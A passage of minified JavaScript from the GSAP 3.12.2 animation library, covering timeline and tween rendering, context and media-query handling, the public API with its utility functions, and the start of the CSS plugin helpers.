a.timeScale((a._repeat<0?a.duration():a.totalDuration())/(a.reversed()?-t:t));if(a._dirty){for(i=a.parent;s;)e=s._prev,s._dirty&&s.totalDuration(),o<(r=s._start)&&a._sort&&s._ts&&!a._lock?(a._lock=1,Ka(a,s,r-s._delay,1)._lock=0):o=r,r<0&&s._ts&&(n-=r,(!i&&!a._dp||i&&i.smoothChildTiming)&&(a._start+=r/a._ts,a._time-=r,a._tTime-=r),a.shiftChildren(-r,!1,-Infinity),o=0),s._end>n&&s._ts&&(n=s._end),s=e;Ra(a,a===I&&a._time>n?a._time:n,1,1),a._dirty=0}return a._tDur},Timeline.updateRoot=function updateRoot(t){if(I._ts&&(na(I,Ga(t,I)),f=Rt.frame),Rt.frame>=mt){mt+=q.autoSleep||120;var e=I._first;if((!e||!e._ts)&&q.autoSleep&&Rt._listeners.length<2){for(;e&&!e._ts;)e=e._next;e||Rt.sleep()}}},Timeline}(Ut);qa(Xt.prototype,{_lock:0,_hasPause:0,_forcing:0});function ac(t,e,i,n,a,o){var u,h,l,f;if(pt[t]&&!1!==(u=new pt[t]).init(a,u.rawVars?e[t]:function _processVars(t,e,i,n,a){if(s(t)&&(t=Kt(t,a,e,i,n)),!v(t)||t.style&&t.nodeType||$(t)||Z(t))return r(t)?Kt(t,a,e,i,n):t;var o,u={};for(o in t)u[o]=Kt(t[o],a,e,i,n);return u}(e[t],n,a,o,i),i,n,o)&&(i._pt=h=new _e(i._pt,a,t,0,1,u.render,u,0,u.priority),i!==c))for(l=i._ptLookup[i._targets.indexOf(a)],f=u._props.length;f--;)l[u._props[f]]=h;return u}function gc(t,r,e,i){var n,a,s=r.ease||i||"power1.inOut";if($(r))a=e[t]||(e[t]=[]),r.forEach(function(t,e){return a.push({t:e/(r.length-1)*100,v:t,e:s})});else for(n in r)a=e[n]||(e[n]=[]),"ease"===n||a.push({t:parseFloat(t),v:r[n],e:s})}var Nt,Wt,Qt=function _addPropTween(t,e,i,n,a,o,u,h,l,f){s(n)&&(n=n(a||0,t,o));var c,d=t[e],p="get"!==i?i:s(d)?l?t[e.indexOf("set")||!s(t["get"+e.substr(3)])?e:"get"+e.substr(3)](l):t[e]():d,_=s(d)?l?re:te:$t;if(r(n)&&(~n.indexOf("random(")&&(n=ob(n)),"="===n.charAt(1)&&(!(c=ka(p,n)+(Ya(p)||0))&&0!==c||(n=c))),!f||p!==n||Wt)return isNaN(p*n)||""===n?(d||e in t||Q(e,n),function _addComplexStringPropTween(t,e,r,i,n,a,s){var o,u,h,l,f,c,d,p,_=new _e(this._pt,t,e,0,1,ue,null,n),m=0,g=0;for(_.b=r,_.e=i,r+="",(d=~(i+="").indexOf("random("))&&(i=ob(i)),a&&(a(p=[r,i],t,e),r=p[0],i=p[1]),u=r.match(it)||[];o=it.exec(i);)l=o[0],f=i.substring(m,o.index),h?h=(h+1)%5:"rgba("===f.substr(-5)&&(h=1),l!==u[g++]&&(c=parseFloat(u[g-1])||0,_._pt={_next:_._pt,p:f||1===g?f:",",s:c,c:"="===l.charAt(1)?ka(c,l)-c:parseFloat(l)-c,m:h&&h<4?Math.round:0},m=it.lastIndex);return _.c=m<i.length?i.substring(m,i.length):"",_.fp=s,(nt.test(i)||d)&&(_.e=0),this._pt=_}.call(this,t,e,p,n,_,h||q.stringFilter,l)):(c=new _e(this._pt,t,e,+p||0,n-(p||0),"boolean"==typeof d?se:ae,0,_),l&&(c.fp=l),u&&c.modifier(u,this,t),this._pt=c)},Gt=function _initTween(t,e,r){var i,n,a,s,o,u,h,l,f,c,d,p,_,m=t.vars,g=m.ease,v=m.startAt,y=m.immediateRender,T=m.lazy,b=m.onUpdate,x=m.onUpdateParams,k=m.callbackScope,M=m.runBackwards,O=m.yoyoEase,P=m.keyframes,A=m.autoRevert,C=t._dur,S=t._startAt,E=t._targets,D=t.parent,z=D&&"nested"===D.data?D.vars.targets:E,R="auto"===t._overwrite&&!B,F=t.timeline;if(!F||P&&g||(g="none"),t._ease=jt(g,V.ease),t._yEase=O?Yt(jt(!0===O?g:O,V.ease)):0,O&&t._yoyo&&!t._repeat&&(O=t._yEase,t._yEase=t._ease,t._ease=O),t._from=!F&&!!m.runBackwards,!F||P&&!m.stagger){if(p=(l=E[0]?fa(E[0]).harness:0)&&m[l.prop],i=ua(m,ft),S&&(S._zTime<0&&S.progress(1),e<0&&M&&y&&!A?S.render(-1,!0):S.revert(M&&C?ht:ut),S._lazy=0),v){if(za(t._startAt=Zt.set(E,qa({data:"isStart",overwrite:!1,parent:D,immediateRender:!0,lazy:!S&&w(T),startAt:null,delay:0,onUpdate:b,onUpdateParams:x,callbackScope:k,stagger:0},v))),t._startAt._dp=0,t._startAt._sat=t,e<0&&(L||!y&&!A)&&t._startAt.revert(ht),y&&C&&e<=0&&r<=0)return void(e&&(t._zTime=e))}else if(M&&C&&!S)if(e&&(y=!1),a=qa({overwrite:!1,data:"isFromStart",lazy:y&&!S&&w(T),immediateRender:y,stagger:0,parent:D},i),p&&(a[l.prop]=p),za(t._startAt=Zt.set(E,a)),t._startAt._dp=0,t._startAt._sat=t,e<0&&(L?t._startAt.revert(ht):t._startAt.render(-1,!0)),t._zTime=e,y){if(!e)return}else _initTween(t._startAt,X,X);for(t._pt=t._ptCache=0,T=C&&w(T)||T&&!C,n=0;n<E.length;n++){if(h=(o=E[n])._gsap||ea(E)[n]._gsap,t._ptLookup[n]=c={},dt[h.id]&&ct.length&&ma(),d=z===E?n:z.indexOf(o),l&&!1!==(f=new l).init(o,p||i,t,d,z)&&(t._pt=s=new _e(t._pt,o,f.name,0,1,f.render,f,0,f.priority),f._props.forEach(function(t){c[t]=s}),f.priority&&(u=1)),!l||p)for(a in i)pt[a]&&(f=ac(a,i,t,d,o,z))?f.priority&&(u=1):c[a]=s=Qt.call(t,o,a,"get",i[a],d,z,0,m.stringFilter);t._op&&t._op[n]&&t.kill(o,t._op[n]),R&&t._pt&&(Nt=t,I.killTweensOf(o,c,t.globalTime(e)),_=!t.parent,Nt=0),t._pt&&T&&(dt[h.id]=1)}u&&pe(t),t._onInit&&t._onInit(t)}t._onUpdate=b,t._initted=(!t._op||t._pt)&&!_,P&&e<=0&&F.render(U,!0,!0)},Kt=function _parseFuncOrString(t,e,i,n,a){return s(t)?t.call(e,i,n,a):r(t)&&~t.indexOf("random(")?ob(t):t},Jt=vt+"repeat,repeatDelay,yoyo,repeatRefresh,yoyoEase,autoRevert",Ht={};ha(Jt+",id,stagger,delay,duration,paused,scrollTrigger",function(t){return Ht[t]=1});var Zt=function(z){function Tween(e,r,i,n){var a;"number"==typeof r&&(i.duration=r,r=i,i=null);var s,o,u,h,l,f,c,d,p=(a=z.call(this,n?r:va(r))||this).vars,_=p.duration,m=p.delay,g=p.immediateRender,T=p.stagger,b=p.overwrite,x=p.keyframes,k=p.defaults,M=p.scrollTrigger,O=p.yoyoEase,P=r.parent||I,A=($(e)||Z(e)?t(e[0]):"length"in r)?[e]:Ot(e);if(a._targets=A.length?ea(A):R("GSAP target "+e+" not found. https://greensock.com",!q.nullTargetWarn)||[],a._ptLookup=[],a._overwrite=b,x||T||y(_)||y(m)){if(r=a.vars,(s=a.timeline=new Xt({data:"nested",defaults:k||{},targets:P&&"nested"===P.data?P.vars.targets:A})).kill(),s.parent=s._dp=_assertThisInitialized(a),s._start=0,T||y(_)||y(m)){if(h=A.length,c=T&&eb(T),v(T))for(l in T)~Jt.indexOf(l)&&((d=d||{})[l]=T[l]);for(o=0;o<h;o++)(u=ua(r,Ht)).stagger=0,O&&(u.yoyoEase=O),d&&yt(u,d),f=A[o],u.duration=+Kt(_,_assertThisInitialized(a),o,f,A),u.delay=(+Kt(m,_assertThisInitialized(a),o,f,A)||0)-a._delay,!T&&1===h&&u.delay&&(a._delay=m=u.delay,a._start+=m,u.delay=0),s.to(f,u,c?c(o,f,A):0),s._ease=Bt.none;s.duration()?_=m=0:a.timeline=0}else if(x){va(qa(s.vars.defaults,{ease:"none"})),s._ease=jt(x.ease||r.ease||"none");var C,S,E,D=0;if($(x))x.forEach(function(t){return s.to(A,t,">")}),s.duration();else{for(l in u={},x)"ease"===l||"easeEach"===l||gc(l,x[l],u,x.easeEach);for(l in u)for(C=u[l].sort(function(t,e){return t.t-e.t}),o=D=0;o<C.length;o++)(E={ease:(S=C[o]).e,duration:(S.t-(o?C[o-1].t:0))/100*_})[l]=S.v,s.to(A,E,D),D+=E.duration;s.duration()<_&&s.to({},{duration:_-s.duration()})}}_||a.duration(_=s.duration())}else a.timeline=0;return!0!==b||B||(Nt=_assertThisInitialized(a),I.killTweensOf(A),Nt=0),Ka(P,_assertThisInitialized(a),i),r.reversed&&a.reverse(),r.paused&&a.paused(!0),(g||!_&&!x&&a._start===ja(P._time)&&w(g)&&function _hasNoPausedAncestors(t){return!t||t._ts&&_hasNoPausedAncestors(t.parent)}(_assertThisInitialized(a))&&"nested"!==P.data)&&(a._tTime=-X,a.render(Math.max(0,-m)||0)),M&&La(_assertThisInitialized(a),M),a}_inheritsLoose(Tween,z);var e=Tween.prototype;return e.render=function render(t,e,r){var i,n,a,s,o,u,h,l,f,c=this._time,d=this._tDur,p=this._dur,_=t<0,m=d-X<t&&!_?d:t<X?0:t;if(p){if(m!==this._tTime||!t||r||!this._initted&&this._tTime||this._startAt&&this._zTime<0!=_){if(i=m,l=this.timeline,this._repeat){if(s=p+this._rDelay,this._repeat<-1&&_)return this.totalTime(100*s+t,e,r);if(i=ja(m%s),m===d?(a=this._repeat,i=p):((a=~~(m/s))&&a===m/s&&(i=p,a--),p<i&&(i=p)),(u=this._yoyo&&1&a)&&(f=this._yEase,i=p-i),o=Tt(this._tTime,s),i===c&&!r&&this._initted)return this._tTime=m,this;a!==o&&(l&&this._yEase&&Qb(l,u),!this.vars.repeatRefresh||u||this._lock||(this._lock=r=1,this.render(ja(s*a),!0).invalidate()._lock=0))}if(!this._initted){if(Ma(this,_?t:i,r,e,m))return this._tTime=0,this;if(c!==this._time)return this;if(p!==this._dur)return this.render(t,e,r)}if(this._tTime=m,this._time=i,!this._act&&this._ts&&(this._act=1,this._lazy=0),this.ratio=h=(f||this._ease)(i/p),this._from&&(this.ratio=h=1-h),i&&!c&&!e&&!a&&(At(this,"onStart"),this._tTime!==m))return this;for(n=this._pt;n;)n.r(h,n.d),n=n._next;l&&l.render(t<0?t:!i&&u?-X:l._dur*l._ease(i/this._dur),e,r)||this._startAt&&(this._zTime=t),this._onUpdate&&!e&&(_&&Ca(this,t,0,r),At(this,"onUpdate")),this._repeat&&a!==o&&this.vars.onRepeat&&!e&&this.parent&&At(this,"onRepeat"),m!==this._tDur&&m||this._tTime!==m||(_&&!this._onUpdate&&Ca(this,t,0,!0),!t&&p||!(m===this._tDur&&0<this._ts||!m&&this._ts<0)||za(this,1),e||_&&!c||!(m||c||u)||(At(this,m===d?"onComplete":"onReverseComplete",!0),!this._prom||m<d&&0<this.timeScale()||this._prom()))}}else!function _renderZeroDurationTween(t,e,r,i){var n,a,s,o=t.ratio,u=e<0||!e&&(!t._start&&function _parentPlayheadIsBeforeStart(t){var e=t.parent;return e&&e._ts&&e._initted&&!e._lock&&(e.rawTime()<0||_parentPlayheadIsBeforeStart(e))}(t)&&(t._initted||!bt(t))||(t._ts<0||t._dp._ts<0)&&!bt(t))?0:1,h=t._rDelay,l=0;if(h&&t._repeat&&(l=kt(0,t._tDur,e),a=Tt(l,h),t._yoyo&&1&a&&(u=1-u),a!==Tt(t._tTime,h)&&(o=1-u,t.vars.repeatRefresh&&t._initted&&t.invalidate())),u!==o||L||i||t._zTime===X||!e&&t._zTime){if(!t._initted&&Ma(t,e,i,r,l))return;for(s=t._zTime,t._zTime=e||(r?X:0),r=r||e&&!s,t.ratio=u,t._from&&(u=1-u),t._time=0,t._tTime=l,n=t._pt;n;)n.r(u,n.d),n=n._next;e<0&&Ca(t,e,0,!0),t._onUpdate&&!r&&At(t,"onUpdate"),l&&t._repeat&&!r&&t.parent&&At(t,"onRepeat"),(e>=t._tDur||e<0)&&t.ratio===u&&(u&&za(t,1),r||L||(At(t,u?"onComplete":"onReverseComplete",!0),t._prom&&t._prom()))}else t._zTime||(t._zTime=e)}(this,t,e,r);return this},e.targets=function targets(){return this._targets},e.invalidate=function invalidate(t){return t&&this.vars.runBackwards||(this._startAt=0),this._pt=this._op=this._onUpdate=this._lazy=this.ratio=0,this._ptLookup=[],this.timeline&&this.timeline.invalidate(t),z.prototype.invalidate.call(this,t)},e.resetTo=function resetTo(t,e,r,i){d||Rt.wake(),this._ts||this.play();var n,a=Math.min(this._dur,(this._dp._time-this._start)*this._ts);return this._initted||Gt(this,a),n=this._ease(a/this._dur),function _updatePropTweens(t,e,r,i,n,a,s){var o,u,h,l,f=(t._pt&&t._ptCache||(t._ptCache={}))[e];if(!f)for(f=t._ptCache[e]=[],h=t._ptLookup,l=t._targets.length;l--;){if((o=h[l][e])&&o.d&&o.d._pt)for(o=o.d._pt;o&&o.p!==e&&o.fp!==e;)o=o._next;if(!o)return Wt=1,t.vars[e]="+=0",Gt(t,s),Wt=0,1;f.push(o)}for(l=f.length;l--;)(o=(u=f[l])._pt||u).s=!i&&0!==i||n?o.s+(i||0)+a*o.c:i,o.c=r-o.s,u.e&&(u.e=ia(r)+Ya(u.e)),u.b&&(u.b=o.s+Ya(u.b))}(this,t,e,r,i,n,a)?this.resetTo(t,e,r,i):(Ia(this,0),this.parent||xa(this._dp,this,"_first","_last",this._dp._sort?"_start":0),this.render(0))},e.kill=function kill(t,e){if(void 0===e&&(e="all"),!(t||e&&"all"!==e))return this._lazy=this._pt=0,this.parent?tb(this):this;if(this.timeline){var i=this.timeline.totalDuration();return this.timeline.killTweensOf(t,e,Nt&&!0!==Nt.vars.overwrite)._first||tb(this),this.parent&&i!==this.timeline.totalDuration()&&Ra(this,this._dur*this.timeline._tDur/i,0,1),this}var n,a,s,o,u,h,l,f=this._targets,c=t?Ot(t):f,d=this._ptLookup,p=this._pt;if((!e||"all"===e)&&function _arraysMatch(t,e){for(var r=t.length,i=r===e.length;i&&r--&&t[r]===e[r];);return r<0}(f,c))return"all"===e&&(this._pt=0),tb(this);for(n=this._op=this._op||[],"all"!==e&&(r(e)&&(u={},ha(e,function(t){return u[t]=1}),e=u),e=function _addAliasesToVars(t,e){var r,i,n,a,s=t[0]?fa(t[0]).harness:0,o=s&&s.aliases;if(!o)return e;for(i in r=yt({},e),o)if(i in r)for(n=(a=o[i].split(",")).length;n--;)r[a[n]]=r[i];return r}(f,e)),l=f.length;l--;)if(~c.indexOf(f[l]))for(u in a=d[l],"all"===e?(n[l]=e,o=a,s={}):(s=n[l]=n[l]||{},o=e),o)(h=a&&a[u])&&("kill"in h.d&&!0!==h.d.kill(u)||ya(this,h,"_pt"),delete a[u]),"all"!==s&&(s[u]=1);return this._initted&&!this._pt&&p&&tb(this),this},Tween.to=function to(t,e,r){return new Tween(t,e,r)},Tween.from=function from(t,e){return Va(1,arguments)},Tween.delayedCall=function delayedCall(t,e,r,i){return new Tween(e,0,{immediateRender:!1,lazy:!1,overwrite:!1,delay:t,onComplete:e,onReverseComplete:e,onCompleteParams:r,onReverseCompleteParams:r,callbackScope:i})},Tween.fromTo=function fromTo(t,e,r){return Va(2,arguments)},Tween.set=function set(t,e){return e.duration=0,e.repeatDelay||(e.repeat=0),new Tween(t,e)},Tween.killTweensOf=function killTweensOf(t,e,r){return I.killTweensOf(t,e,r)},Tween}(Ut);qa(Zt.prototype,{_targets:[],_lazy:0,_startAt:0,_op:0,_onInit:0}),ha("staggerTo,staggerFrom,staggerFromTo",function(r){Zt[r]=function(){var t=new Xt,e=Mt.call(arguments,0);return e.splice("staggerFromTo"===r?5:4,0,0),t[r].apply(t,e)}});function oc(t,e,r){return t.setAttribute(e,r)}function wc(t,e,r,i){i.mSet(t,e,i.m.call(i.tween,r,i.mt),i)}var $t=function _setterPlain(t,e,r){return t[e]=r},te=function _setterFunc(t,e,r){return t[e](r)},re=function _setterFuncWithParam(t,e,r,i){return t[e](i.fp,r)},ne=function _getSetter(t,e){return s(t[e])?te:u(t[e])&&t.setAttribute?oc:$t},ae=function _renderPlain(t,e){return e.set(e.t,e.p,Math.round(1e6*(e.s+e.c*t))/1e6,e)},se=function _renderBoolean(t,e){return e.set(e.t,e.p,!!(e.s+e.c*t),e)},ue=function _renderComplexString(t,e){var r=e._pt,i="";if(!t&&e.b)i=e.b;else if(1===t&&e.e)i=e.e;else{for(;r;)i=r.p+(r.m?r.m(r.s+r.c*t):Math.round(1e4*(r.s+r.c*t))/1e4)+i,r=r._next;i+=e.c}e.set(e.t,e.p,i,e)},he=function _renderPropTweens(t,e){for(var r=e._pt;r;)r.r(t,r.d),r=r._next},fe=function _addPluginModifier(t,e,r,i){for(var n,a=this._pt;a;)n=a._next,a.p===i&&a.modifier(t,e,r),a=n},ce=function _killPropTweensOf(t){for(var e,r,i=this._pt;i;)r=i._next,i.p===t&&!i.op||i.op===t?ya(this,i,"_pt"):i.dep||(e=1),i=r;return!e},pe=function _sortPropTweensByPriority(t){for(var e,r,i,n,a=t._pt;a;){for(e=a._next,r=i;r&&r.pr>a.pr;)r=r._next;(a._prev=r?r._prev:n)?a._prev._next=a:i=a,(a._next=r)?r._prev=a:n=a,a=e}t._pt=i},_e=(PropTween.prototype.modifier=function modifier(t,e,r){this.mSet=this.mSet||this.set,this.set=wc,this.m=t,this.mt=r,this.tween=e},PropTween);function PropTween(t,e,r,i,n,a,s,o,u){this.t=e,this.s=i,this.c=n,this.p=r,this.r=a||ae,this.d=s||this,this.set=o||$t,this.pr=u||0,(this._next=t)&&(t._prev=this)}ha(vt+"parent,duration,ease,delay,overwrite,runBackwards,startAt,yoyo,immediateRender,repeat,repeatDelay,data,paused,reversed,lazy,callbackScope,stringFilter,id,yoyoEase,stagger,inherit,repeatRefresh,keyframes,autoRevert,scrollTrigger",function(t){return ft[t]=1}),ot.TweenMax=ot.TweenLite=Zt,ot.TimelineLite=ot.TimelineMax=Xt,I=new Xt({sortChildren:!1,defaults:V,autoRemoveChildren:!0,id:"root",smoothChildTiming:!0}),q.stringFilter=Fb;function Ec(t){return(ye[t]||Te).map(function(t){return t()})}function Fc(){var t=Date.now(),o=[];2<t-Me&&(Ec("matchMediaInit"),ge.forEach(function(t){var e,r,i,n,a=t.queries,s=t.conditions;for(r in a)(e=h.matchMedia(a[r]).matches)&&(i=1),e!==s[r]&&(s[r]=e,n=1);n&&(t.revert(),i&&o.push(t))}),Ec("matchMediaRevert"),o.forEach(function(t){return t.onMatch(t)}),Me=t,Ec("matchMedia"))}var me,ge=[],ye={},Te=[],Me=0,Oe=0,Pe=((me=Context.prototype).add=function add(t,i,n){function Ew(){var t,e=l,r=a.selector;return e&&e!==a&&e.data.push(a),n&&(a.selector=cb(n)),l=a,t=i.apply(a,arguments),s(t)&&a._r.push(t),l=e,a.selector=r,a.isReverted=!1,t}s(t)&&(n=i,i=t,t=s);var a=this;return a.last=Ew,t===s?Ew(a):t?a[t]=Ew:Ew},me.ignore=function ignore(t){var e=l;l=null,t(this),l=e},me.getTweens=function getTweens(){var e=[];return this.data.forEach(function(t){return t instanceof Context?e.push.apply(e,t.getTweens()):t instanceof Zt&&!(t.parent&&"nested"===t.parent.data)&&e.push(t)}),e},me.clear=function clear(){this._r.length=this.data.length=0},me.kill=function kill(e,t){var r=this;if(e){var i=this.getTweens();this.data.forEach(function(t){"isFlip"===t.data&&(t.revert(),t.getChildren(!0,!0,!1).forEach(function(t){return i.splice(i.indexOf(t),1)}))}),i.map(function(t){return{g:t.globalTime(0),t:t}}).sort(function(t,e){return e.g-t.g||-1/0}).forEach(function(t){return t.t.revert(e)}),this.data.forEach(function(t){return!(t instanceof Zt)&&t.revert&&t.revert(e)}),this._r.forEach(function(t){return t(e,r)}),this.isReverted=!0}else this.data.forEach(function(t){return t.kill&&t.kill()});if(this.clear(),t)for(var n=ge.length;n--;)ge[n].id===this.id&&ge.splice(n,1)},me.revert=function revert(t){this.kill(t||{})},Context);function Context(t,e){this.selector=e&&cb(e),this.data=[],this._r=[],this.isReverted=!1,this.id=Oe++,t&&this.add(t)}var Ae,Ce=((Ae=MatchMedia.prototype).add=function add(t,e,r){v(t)||(t={matches:t});var i,n,a,s=new Pe(0,r||this.scope),o=s.conditions={};for(n in l&&!s.selector&&(s.selector=l.selector),this.contexts.push(s),e=s.add("onMatch",e),s.queries=t)"all"===n?a=1:(i=h.matchMedia(t[n]))&&(ge.indexOf(s)<0&&ge.push(s),(o[n]=i.matches)&&(a=1),i.addListener?i.addListener(Fc):i.addEventListener("change",Fc));return a&&e(s),this},Ae.revert=function revert(t){this.kill(t||{})},Ae.kill=function kill(e){this.contexts.forEach(function(t){return t.kill(e,!0)})},MatchMedia);function MatchMedia(t){this.contexts=[],this.scope=t}var Se={registerPlugin:function registerPlugin(){for(var t=arguments.length,e=new Array(t),r=0;r<t;r++)e[r]=arguments[r];e.forEach(function(t){return wb(t)})},timeline:function timeline(t){return new Xt(t)},getTweensOf:function getTweensOf(t,e){return I.getTweensOf(t,e)},getProperty:function getProperty(i,t,e,n){r(i)&&(i=Ot(i)[0]);var a=fa(i||{}).get,s=e?pa:oa;return"native"===e&&(e=""),i?t?s((pt[t]&&pt[t].get||a)(i,t,e,n)):function(t,e,r){return s((pt[t]&&pt[t].get||a)(i,t,e,r))}:i},quickSetter:function quickSetter(r,e,i){if(1<(r=Ot(r)).length){var n=r.map(function(t){return Ee.quickSetter(t,e,i)}),a=n.length;return function(t){for(var e=a;e--;)n[e](t)}}r=r[0]||{};var s=pt[e],o=fa(r),u=o.harness&&(o.harness.aliases||{})[e]||e,h=s?function(t){var e=new s;c._pt=0,e.init(r,i?t+i:t,c,0,[r]),e.render(1,e),c._pt&&he(1,c)}:o.set(r,u);return s?h:function(t){return h(r,u,i?t+i:t,o,1)}},quickTo:function quickTo(t,i,e){function Wx(t,e,r){return n.resetTo(i,t,e,r)}var r,n=Ee.to(t,yt(((r={})[i]="+=0.1",r.paused=!0,r),e||{}));return Wx.tween=n,Wx},isTweening:function isTweening(t){return 0<I.getTweensOf(t,!0).length},defaults:function defaults(t){return t&&t.ease&&(t.ease=jt(t.ease,V.ease)),ta(V,t||{})},config:function config(t){return ta(q,t||{})},registerEffect:function registerEffect(t){var i=t.name,n=t.effect,e=t.plugins,a=t.defaults,r=t.extendTimeline;(e||"").split(",").forEach(function(t){return t&&!pt[t]&&!ot[t]&&R(i+" effect requires "+t+" plugin.")}),_t[i]=function(t,e,r){return n(Ot(t),qa(e||{},a),r)},r&&(Xt.prototype[i]=function(t,e,r){return this.add(_t[i](t,v(e)?e:(r=e)&&{},this),r)})},registerEase:function registerEase(t,e){Bt[t]=jt(e)},parseEase:function parseEase(t,e){return arguments.length?jt(t,e):Bt},getById:function getById(t){return I.getById(t)},exportRoot:function exportRoot(t,e){void 0===t&&(t={});var r,i,n=new Xt(t);for(n.smoothChildTiming=w(t.smoothChildTiming),I.remove(n),n._dp=0,n._time=n._tTime=I._time,r=I._first;r;)i=r._next,!e&&!r._dur&&r instanceof Zt&&r.vars.onComplete===r._targets[0]||Ka(n,r,r._start-r._delay),r=i;return Ka(I,n,0),n},context:function context(t,e){return t?new Pe(t,e):l},matchMedia:function matchMedia(t){return new Ce(t)},matchMediaRefresh:function matchMediaRefresh(){return ge.forEach(function(t){var e,r,i=t.conditions;for(r in i)i[r]&&(i[r]=!1,e=1);e&&t.revert()})||Fc()},addEventListener:function addEventListener(t,e){var r=ye[t]||(ye[t]=[]);~r.indexOf(e)||r.push(e)},removeEventListener:function removeEventListener(t,e){var r=ye[t],i=r&&r.indexOf(e);0<=i&&r.splice(i,1)},utils:{wrap:function wrap(e,t,r){var i=t-e;return $(e)?lb(e,wrap(0,e.length),t):Wa(r,function(t){return(i+(t-e)%i)%i+e})},wrapYoyo:function wrapYoyo(e,t,r){var i=t-e,n=2*i;return $(e)?lb(e,wrapYoyo(0,e.length-1),t):Wa(r,function(t){return e+(i<(t=(n+(t-e)%n)%n||0)?n-t:t)})},distribute:eb,random:hb,snap:gb,normalize:function normalize(t,e,r){return Pt(t,e,0,1,r)},getUnit:Ya,clamp:function clamp(e,r,t){return Wa(t,function(t){return kt(e,r,t)})},splitColor:Ab,toArray:Ot,selector:cb,mapRange:Pt,pipe:function pipe(){for(var t=arguments.length,e=new Array(t),r=0;r<t;r++)e[r]=arguments[r];return function(t){return e.reduce(function(t,e){return e(t)},t)}},unitize:function unitize(e,r){return function(t){return e(parseFloat(t))+(r||Ya(t))}},interpolate:function interpolate(e,i,t,n){var a=isNaN(e+i)?0:function(t){return(1-t)*e+t*i};if(!a){var s,o,u,h,l,f=r(e),c={};if(!0===t&&(n=1)&&(t=null),f)e={p:e},i={p:i};else if($(e)&&!$(i)){for(u=[],h=e.length,l=h-2,o=1;o<h;o++)u.push(interpolate(e[o-1],e[o]));h--,a=function func(t){t*=h;var e=Math.min(l,~~t);return u[e](t-e)},t=i}else n||(e=yt($(e)?[]:{},e));if(!u){for(s in i)Qt.call(c,e,s,"get",i[s]);a=function func(t){return he(t,c)||(f?e.p:e)}}}return Wa(t,a)},shuffle:db},install:P,effects:_t,ticker:Rt,updateRoot:Xt.updateRoot,plugins:pt,globalTimeline:I,core:{PropTween:_e,globals:S,Tween:Zt,Timeline:Xt,Animation:Ut,getCache:fa,_removeLinkedListItem:ya,reverting:function reverting(){return L},context:function context(t){return t&&l&&(l.data.push(t),t._ctx=l),l},suppressOverwrites:function suppressOverwrites(t){return B=t}}};ha("to,from,fromTo,delayedCall,set,killTweensOf",function(t){return Se[t]=Zt[t]}),Rt.add(Xt.updateRoot),c=Se.to({},{duration:0});function Jc(t,e){for(var r=t._pt;r&&r.p!==e&&r.op!==e&&r.fp!==e;)r=r._next;return r}function Lc(t,a){return{name:t,rawVars:1,init:function init(t,n,e){e._onInit=function(t){var e,i;if(r(n)&&(e={},ha(n,function(t){return e[t]=1}),n=e),a){for(i in e={},n)e[i]=a(n[i]);n=e}!function _addModifiers(t,e){var r,i,n,a=t._targets;for(r in e)for(i=a.length;i--;)(n=(n=t._ptLookup[i][r])&&n.d)&&(n._pt&&(n=Jc(n,r)),n&&n.modifier&&n.modifier(e[r],t,a[i],r))}(t,n)}}}}var Ee=Se.registerPlugin({name:"attr",init:function init(t,e,r,i,n){var a,s,o;for(a in this.tween=r,e)o=t.getAttribute(a)||"",(s=this.add(t,"setAttribute",(o||0)+"",e[a],i,n,0,0,a)).op=a,s.b=o,this._props.push(a)},render:function render(t,e){for(var r=e._pt;r;)L?r.set(r.t,r.p,r.b,r):r.r(t,r.d),r=r._next}},{name:"endArray",init:function init(t,e){for(var r=e.length;r--;)this.add(t,r,t[r]||0,e[r],0,0,0,0,0,1)}},Lc("roundProps",fb),Lc("modifiers"),Lc("snap",gb))||Se;Zt.version=Xt.version=Ee.version="3.12.2",o=1,x()&&Ft();function vd(t,e){return e.set(e.t,e.p,Math.round(1e4*(e.s+e.c*t))/1e4+e.u,e)}function wd(t,e){return e.set(e.t,e.p,1===t?e.e:Math.round(1e4*(e.s+e.c*t))/1e4+e.u,e)}function xd(t,e){return e.set(e.t,e.p,t?Math.round(1e4*(e.s+e.c*t))/1e4+e.u:e.b,e)}function yd(t,e){var r=e.s+e.c*t;e.set(e.t,e.p,~~(r+(r<0?-.5:.5))+e.u,e)}function zd(t,e){return e.set(e.t,e.p,t?e.e:e.b,e)}function Ad(t,e){return e.set(e.t,e.p,1!==t?e.b:e.e,e)}function Bd(t,e,r){return t.style[e]=r}function Cd(t,e,r){return t.style.setProperty(e,r)}function Dd(t,e,r){return t._gsap[e]=r}function Ed(t,e,r){return t._gsap.scaleX=t._gsap.scaleY=r}function Fd(t,e,r,i,n){var a=t._gsap;a.scaleX=a.scaleY=r,a.renderTransform(n,a)}function Gd(t,e,r,i,n){var a=t._gsap;a[e]=r,a.renderTransform(n,a)}function Jd(t,e){var r=this,i=this.target,n=i.style;if(t in ar&&n){if(this.tfm=this.tfm||{},"transform"===t)return cr.transform.split(",").forEach(function(t){return Jd.call(r,t,e)});if(~(t=cr[t]||t).indexOf(",")?t.split(",").forEach(function(t){return r.tfm[t]=yr(i,t)}):this.tfm[t]=i._gsap.x?i._gsap[t]:yr(i,t),0<=this.props.indexOf(dr))return;i._gsap.svg&&(this.svgo=i.getAttribute("data-svg-origin"),this.props.push(pr,e,"")),t=dr}(n||e)&&this.props.push(t,e,n[t])}function Kd(t){t.translate&&(t.removeProperty("translate"),t.removeProperty("scale"),t.removeProperty("rotate"))}function Ld(){var t,e,r=this.props,i=this.target,n=i.style,a=i._gsap;for(t=0;t<r.length;t+=3)r[t+1]?i[r[t]]=r[t+2]:r[t+2]?n[r[t]]=r[t+2]:n.removeProperty("--"===r[t].substr(0,2)?r[t]:r[t].replace(hr,"-$1").toLowerCase());if(this.tfm){for(e in this.tfm)a[e]=this.tfm[e];a.svg&&(a.renderTransform(),i.setAttribute("data-svg-origin",this.svgo||"")),(t=Ie())&&t.isStart||n[dr]||(Kd(n),a.uncache=1)}}function Md(t,e){var r={target:t,props:[],revert:Ld,save:Jd};return t._gsap||Ee.core.getCache(t),e&&e.split(",").forEach(function(t){return r.save(t)}),r}function Od(t,e){var r=ze.createElementNS?ze.createElementNS((e||"http://www.w3.org/1999/xhtml").replace(/^https/,"http"),t):ze.createElement(t);return r.style?r:ze.createElement(t)}function Pd(t,e,r){var i=getComputedStyle(t);return i[e]||i.getPropertyValue(e.replace(hr,"-$1").toLowerCase())||i.getPropertyValue(e)||!r&&Pd(t,mr(e)||e,1)||""}function Sd(){(function _windowExists(){return"undefined"!=typeof 